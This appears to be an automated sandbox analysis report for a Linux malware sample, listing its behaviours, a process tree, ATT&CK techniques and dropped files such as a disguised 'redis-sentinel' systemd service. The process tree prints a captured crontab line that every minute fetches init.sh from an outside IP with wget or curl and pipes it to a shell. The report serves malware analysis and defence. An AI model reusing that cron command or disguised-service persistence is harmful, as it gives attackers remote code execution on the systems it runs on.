Overview

overview

7

Static

static

1

91.239.211...le.bin

ubuntu-18.04-amd64

7

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20/06/2026, 18:45

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General

  • Target
    91.239.211.89_sample.bin
  • Size 107KB
  • Sample260620-xd334agy6j
  • SHA256 c1e97858d11f97a0157f31aeb413c76ecd9cd96062929e2e659ae9e3c0dc78c4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/91.239.211.89_sample.bin
    /tmp/91.239.211.89_sample.bin
    1⤵
    • Deletes itself
    • Modifies Watchdog functionality
    • Creates/modifies Cron job
    • Enumerates active TCP sockets
    • Modifies systemd
    • Reads MAC address of network interface
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1488
    • /bin/sh
      sh -c "/bin/systemctl daemon-reload 2>/dev/null"
      2⤵
        PID:1496
        • /bin/systemctl
          /bin/systemctl daemon-reload
          3⤵
          • Reads runtime system information
          PID:1497
      • /bin/sh
        sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
        2⤵
          PID:1519
          • /bin/systemctl
            /bin/systemctl enable --now redis-sentinel.service
            3⤵
            • Reads runtime system information
            PID:1522
        • /bin/sh
          sh -c "/usr/bin/crontab -l 2>/dev/null"
          2⤵
            PID:1544
            • /usr/bin/crontab
              /usr/bin/crontab -l
              3⤵
                PID:1545
            • /bin/sh
              sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1490 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
              2⤵
                PID:1546
                • /usr/bin/crontab
                  /usr/bin/crontab -
                  3⤵
                  • Creates/modifies Cron job
                  PID:1547

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Scheduled Task/Job

                  1
                  T1053

                  Cron

                  1
                  T1053.003

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  XDG Autostart Entries

                  1
                  T1547.013

                  Create or Modify System Process

                  1
                  T1543

                  Systemd Service

                  1
                  T1543.002

                  Scheduled Task/Job

                  1
                  T1053

                  Cron

                  1
                  T1053.003

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  XDG Autostart Entries

                  1
                  T1547.013

                  Create or Modify System Process

                  1
                  T1543

                  Systemd Service

                  1
                  T1543.002

                  Scheduled Task/Job

                  1
                  T1053

                  Cron

                  1
                  T1053.003

                  Defense Evasion

                  Impair Defenses

                  1
                  T1562

                  Virtualization/Sandbox Evasion

                  1
                  T1497

                  System Checks

                  1
                  T1497.001

                  Credential Access

                  Discovery

                  System Information Discovery

                  1
                  T1082

                  System Network Configuration Discovery

                  2
                  T1016

                  Internet Connection Discovery

                  1
                  T1016.001

                  Wi-Fi Discovery

                  1
                  T1016.002

                  System Network Connections Discovery

                  2
                  T1049

                  Virtualization/Sandbox Evasion

                  1
                  T1497

                  System Checks

                  1
                  T1497.001

                  Lateral Movement

                  Collection

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

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                  Downloads

                  redis-sentinel.service
                  • Path /etc/systemd/system/redis-sentinel.service
                  • Size 344B
                  • SHA256 714325ee5f38eb2cdc6252f19a9eb1a2e664246ed95c300df326050b18319e2f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  .bot_exit_reason
                  • Path /tmp/.bot_exit_reason
                  • Size 38B
                  • SHA256 57049b0c96b6fd098c8bf3d5ba520032b8e74cef26e71571eeec79280e3bd088
                  • MD5 SHA1 SHA512
                  Submit Download

                  .bot_exit_reason
                  • Path /tmp/.bot_exit_reason
                  • Size 200B
                  • SHA256 594f1315c7204523f53e6efa300121df9e5f569f84038f38485a3c8c5e9cb395
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  .bot_exit_reason
                  • Path /tmp/.bot_exit_reason
                  • Size 982B
                  • SHA256 1eaf8f541e1d7ed3f4ae333e409bc6db5e829d9ac210a7076d032487da89613c
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  .bot_exit_reason
                  • Path /tmp/.bot_exit_reason
                  • Size 82B
                  • SHA256 93b729f84c1fd802f6d8735c898aa5302b4bc49ed516b6d938d2dba26d4e923e
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  .bot_exit_reason
                  • Path /tmp/.bot_exit_reason
                  • Size 118B
                  • SHA256 b7cd61ebea527186fba798ccd34819a63e9a774782457eb3a0eb0c044fdea075
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  .bot_exit_reason
                  • Path /tmp/.bot_exit_reason
                  • Size 156B
                  • SHA256 8ea79f8062f15baa48c2e95d643bd3a0379a45965b2ef0775e3bc4c829873dfc
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  .redis-server.pid
                  • Path /tmp/.redis-server.pid
                  • Size 4B
                  • SHA256 a1271642c26ded1a08fc67a7791aa368ec32e76940cf6f15e779d091f31439fb
                  • MD5 SHA1 SHA512
                  Submit Download

                  root
                  • Path /var/spool/cron/crontabs/root
                  • Size 168B
                  • SHA256 1e1296dfde7a7bdc23571b22bc8991bafa9874005df6fd67031222da308d928d
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  tmp.DZpJxm
                  • Path /var/spool/cron/crontabs/tmp.DZpJxm
                  • Size 343B
                  • SHA256 8ea08e401935e34cf53033449ce0d2b95ffe9c1837251e51b65e99edd09b58d8
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download